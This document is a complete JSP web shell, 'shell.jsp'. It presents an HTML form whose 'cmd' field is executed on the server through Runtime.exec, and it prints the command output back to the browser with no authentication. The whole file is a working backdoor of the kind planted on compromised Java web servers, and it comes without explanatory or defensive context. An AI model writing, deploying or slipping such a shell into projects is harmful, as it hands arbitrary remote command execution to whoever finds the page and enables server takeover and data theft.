shell.jsp

<FORM METHOD=GET ACTION='shell.jsp'>
<INPUT id='cmd' style="width:50%" name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<script>
	var input = document.getElementById("cmd");
	input.focus();
	input.select();
</script>

<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>